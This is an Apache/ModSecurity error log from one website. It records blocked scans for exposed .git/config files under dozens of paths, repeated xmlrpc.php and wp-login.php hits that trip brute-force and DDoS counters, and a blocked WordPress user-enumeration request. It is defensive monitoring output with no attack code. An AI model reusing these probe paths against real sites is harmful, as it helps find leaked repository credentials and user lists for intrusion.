[Tue Nov 25 22:41:48.289261 2025] [:error] [pid 14076:tid 14087] [client 2.57.122.225:44124] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.git/config"] [unique_id "aSXALHsB4Gz6Qw-pvBtXbwAAAAY"]
[Tue Nov 25 22:41:48.290184 2025] [:error] [pid 28739:tid 28785] [client 2.57.122.225:44116] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/html/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDnwAAAhc"]
[Tue Nov 25 22:41:48.290412 2025] [:error] [pid 28739:tid 28767] [client 2.57.122.225:44044] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/staging/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDoAAAAgU"]
[Tue Nov 25 22:41:48.298321 2025] [:error] [pid 28609:tid 28642] [client 2.57.122.225:44166] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/production/.git/config"] [unique_id "aSXALCGGdT-nZJVs3x0CXgAAAZg"]
[Tue Nov 25 22:41:48.299192 2025] [:error] [pid 28609:tid 28635] [client 2.57.122.225:44214] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/.git/config"] [unique_id "aSXALCGGdT-nZJVs3x0CXwAAAZE"]
[Tue Nov 25 22:41:48.299209 2025] [:error] [pid 14078:tid 14157] [client 2.57.122.225:44248] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/frontend/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd8gAAAJQ"]
[Tue Nov 25 22:41:48.304102 2025] [:error] [pid 43981:tid 44000] [client 2.57.122.225:44232] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF53AAAAxE"]
[Tue Nov 25 22:41:48.309562 2025] [:error] [pid 14078:tid 14155] [client 2.57.122.225:44218] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/old/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd8wAAAJI"]
[Tue Nov 25 22:41:48.311577 2025] [:error] [pid 14168:tid 14173] [client 2.57.122.225:44086] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v1/.git/config"] [unique_id "aSXALPR-ZDU0QEgAIIud_wAAAMI"]
[Tue Nov 25 22:41:48.312965 2025] [:error] [pid 2987:tid 3005] [client 2.57.122.225:44060] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/www/.git/config"] [unique_id "aSXALM-djEt-pTzPxnzeEQAAAVA"]
[Tue Nov 25 22:41:48.316212 2025] [:error] [pid 43981:tid 43985] [client 2.57.122.225:44202] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF53QAAAwI"]
[Tue Nov 25 22:41:48.319146 2025] [:error] [pid 14078:tid 14139] [client 2.57.122.225:44082] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/main/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd9AAAAII"]
[Tue Nov 25 22:41:48.322515 2025] [:error] [pid 2987:tid 3012] [client 2.57.122.225:44134] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/test/.git/config"] [unique_id "aSXALM-djEt-pTzPxnzeEgAAAVc"]
[Tue Nov 25 22:41:48.323084 2025] [:error] [pid 14168:tid 14193] [client 2.57.122.225:44054] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/temp/.git/config"] [unique_id "aSXALPR-ZDU0QEgAIIueAAAAANY"]
[Tue Nov 25 22:41:48.323111 2025] [:error] [pid 28836:tid 29007] [client 2.57.122.225:44200] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/dist/.git/config"] [unique_id "aSXALJwNRsoxcLQGkTf7OQAAAtE"]
[Tue Nov 25 22:41:48.323958 2025] [:error] [pid 28739:tid 28779] [client 2.57.122.225:44316] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/drupal/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDoQAAAhE"]
[Tue Nov 25 22:41:48.324780 2025] [:error] [pid 28739:tid 28781] [client 2.57.122.225:44310] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/git/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDogAAAhM"]
[Tue Nov 25 22:41:48.326754 2025] [:error] [pid 28739:tid 28776] [client 2.57.122.225:44108] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v3/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDowAAAg4"]
[Tue Nov 25 22:41:48.328186 2025] [:error] [pid 43981:tid 43996] [client 2.57.122.225:44294] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/prod/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF53gAAAw0"]
[Tue Nov 25 22:41:48.332635 2025] [:error] [pid 14078:tid 14147] [client 2.57.122.225:44178] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/beta/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd9QAAAIo"]
[Tue Nov 25 22:41:48.332635 2025] [:error] [pid 28739:tid 28774] [client 2.57.122.225:44272] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/example/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDpAAAAgw"]
[Tue Nov 25 22:41:48.336902 2025] [:error] [pid 14078:tid 14160] [client 2.57.122.225:44264] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sample/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd9gAAAJc"]
[Tue Nov 25 22:41:48.338654 2025] [:error] [pid 14078:tid 14140] [client 2.57.122.225:44292] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/logs/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd9wAAAIM"]
[Tue Nov 25 22:41:48.339200 2025] [:error] [pid 28739:tid 28766] [client 2.57.122.225:44160] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDpQAAAgQ"]
[Tue Nov 25 22:41:48.340831 2025] [:error] [pid 2987:tid 2996] [client 2.57.122.225:44286] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/joomla/.git/config"] [unique_id "aSXALM-djEt-pTzPxnzeEwAAAUc"]
[Tue Nov 25 22:41:48.341789 2025] [:error] [pid 14077:tid 14111] [client 2.57.122.225:44148] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v2/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjfmAAAAEE"]
[Tue Nov 25 22:41:48.345146 2025] [:error] [pid 43843:tid 43861] [client 2.57.122.225:44072] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/administrator/.git/config"] [unique_id "aSXALBhx4v3NUNdMKDMFOAAAAdA"]
[Tue Nov 25 22:41:48.345327 2025] [:error] [pid 43981:tid 43995] [client 2.57.122.225:44278] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/docs/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF53wAAAww"]
[Tue Nov 25 22:41:48.345647 2025] [:error] [pid 2987:tid 3006] [client 2.57.122.225:44142] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/build/.git/config"] [unique_id "aSXALM-djEt-pTzPxnzeFAAAAVE"]
[Tue Nov 25 22:41:48.350807 2025] [:error] [pid 28836:tid 28969] [client 2.57.122.225:44216] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/.git/config"] [unique_id "aSXALJwNRsoxcLQGkTf7OgAAAs4"]
[Tue Nov 25 23:04:51.782980 2025] [:error] [pid 14168:tid 14175] [client 185.209.30.45:58042] [client 185.209.30.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.209.30.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSXFk_R-ZDU0QEgAIIukzwAAAMQ"]
[Tue Nov 25 23:16:40.772601 2025] [autoindex:error] [pid 14168:tid 14193] [client 139.59.30.253:52425] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 00:28:40.055497 2025] [:error] [pid 43981:tid 43987] [client 50.6.174.16:38340] [client 50.6.174.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.174.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSXZOAgZn97m_qh_RaGR0wAAAwQ"]
[Wed Nov 26 00:28:43.157044 2025] [:error] [pid 14077:tid 14124] [client 50.6.174.16:38344] [client 50.6.174.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.174.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSXZOxG9n7UHEkwDTyj8XgAAAE4"]
[Wed Nov 26 01:16:49.807461 2025] [:error] [pid 28739:tid 28778] [client 82.64.81.82:40800] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSXkgRxGpKmlkG4FexT7zAAAAhA"]
[Wed Nov 26 02:25:51.230171 2025] [:error] [pid 14077:tid 14122] [client 161.97.139.169:46240] [client 161.97.139.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.139.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX0rxG9n7UHEkwDTygVYgAAAEw"]
[Wed Nov 26 02:41:29.342634 2025] [:error] [pid 28739:tid 28785] [client 162.240.28.193:42304] [client 162.240.28.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.28.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSX4WRxGpKmlkG4FexQQvAAAAhc"]
[Wed Nov 26 02:41:31.609174 2025] [:error] [pid 14077:tid 14131] [client 162.240.28.193:42796] [client 162.240.28.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.28.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSX4WxG9n7UHEkwDTygXhwAAAFU"]
[Wed Nov 26 02:50:38.553792 2025] [:error] [pid 28739:tid 28778] [client 136.117.219.37:53047] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6fhxGpKmlkG4FexQTGgAAAhA"]
[Wed Nov 26 02:50:42.217918 2025] [:error] [pid 28739:tid 28765] [client 136.117.219.37:53047] [client 136.117.219.37] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSX6ghxGpKmlkG4FexQTIwAAAgM"]
[Wed Nov 26 02:50:44.035023 2025] [:error] [pid 28739:tid 28772] [client 136.117.219.37:53047] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6hBxGpKmlkG4FexQTJgAAAgo"]
[Wed Nov 26 02:50:45.955596 2025] [:error] [pid 14168:tid 14181] [client 136.117.219.37:64874] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6hfR-ZDU0QEgAIIvPswAAAMo"]
[Wed Nov 26 02:50:47.599381 2025] [:error] [pid 14168:tid 14194] [client 136.117.219.37:50488] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6h_R-ZDU0QEgAIIvPuAAAANc"]
[Wed Nov 26 02:50:49.379589 2025] [:error] [pid 2987:tid 3002] [client 136.117.219.37:57076] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6ic-djEt-pTzPxnwUPgAAAU0"]
[Wed Nov 26 02:50:51.289108 2025] [:error] [pid 14078:tid 14140] [client 136.117.219.37:59464] [client 136.117.219.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.219.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6i9VXYbb0ii_rVoIF-gAAAIM"]
[Wed Nov 26 02:50:51.289342 2025] [:error] [pid 14078:tid 14140] [client 136.117.219.37:59464] [client 136.117.219.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.117.219.37, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSX6i9VXYbb0ii_rVoIF-gAAAIM"]
[Wed Nov 26 03:29:43.288019 2025] [:error] [pid 50667:tid 50682] [client 159.223.176.184:57388] [client 159.223.176.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.176.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSYDp7YzKSjU9X7NQW-68QAAAMk"]
[Wed Nov 26 04:34:07.381142 2025] [:error] [pid 3012:tid 3080] [client 54.36.100.158:40596] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSYSv0fo8Sm1Un9NK6gihAAAAIs"]
[Wed Nov 26 05:46:04.973471 2025] [:error] [pid 3011:tid 3054] [client 158.247.243.94:39684] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSYjnEb0BA3GljiGlI7F0QAAAEw"]
[Wed Nov 26 06:49:03.094666 2025] [:error] [pid 857:tid 859] [client 192.250.232.94:58064] [client 192.250.232.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.232.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSYyX33HeRXAOBI-RegAigAAAoA"]
[Wed Nov 26 08:05:02.342042 2025] [:error] [pid 45836:tid 45862] [client 65.109.77.54:40096] [client 65.109.77.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.109.77.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSZELpfrnOGqL-seZAzl8AAAANA"]
[Wed Nov 26 08:34:21.062086 2025] [:error] [pid 35540:tid 35569] [client 115.79.196.94:42978] [client 115.79.196.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.196.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZLDcGrIq2A6SZSnkILNQAAAJc"]
[Wed Nov 26 08:34:28.041363 2025] [:error] [pid 35540:tid 35561] [client 115.79.196.94:35104] [client 115.79.196.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.196.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZLFMGrIq2A6SZSnkILQAAAAI8"]
[Wed Nov 26 09:06:09.978662 2025] [:error] [pid 34743:tid 34790] [client 95.223.75.153:29835] [client 95.223.75.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.223.75.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSZSgQvyX7Q5oU7_mBxiKwAAAU4"]
[Wed Nov 26 09:57:52.954138 2025] [:error] [pid 35540:tid 35562] [client 38.248.90.147:53193] [client 38.248.90.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.248.90.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZeoMGrIq2A6SZSnkIxswAAAJA"]
[Wed Nov 26 09:57:55.171368 2025] [:error] [pid 34830:tid 34835] [client 38.248.90.147:53284] [client 38.248.90.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.248.90.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSZeo0ukvkWgWN6jCR166QAAAAM"]
[Wed Nov 26 10:11:21.777171 2025] [:error] [pid 45836:tid 45856] [client 37.97.206.40:46404] [client 37.97.206.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.97.206.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSZhyZfrnOGqL-seZAwMAAAAAMo"]
[Wed Nov 26 10:12:47.190974 2025] [proxy_fcgi:error] [pid 34830:tid 34848] (70007)The timeout specified has expired: [client 51.81.107.180:57340] AH01075: Error dispatching request to : (polling)
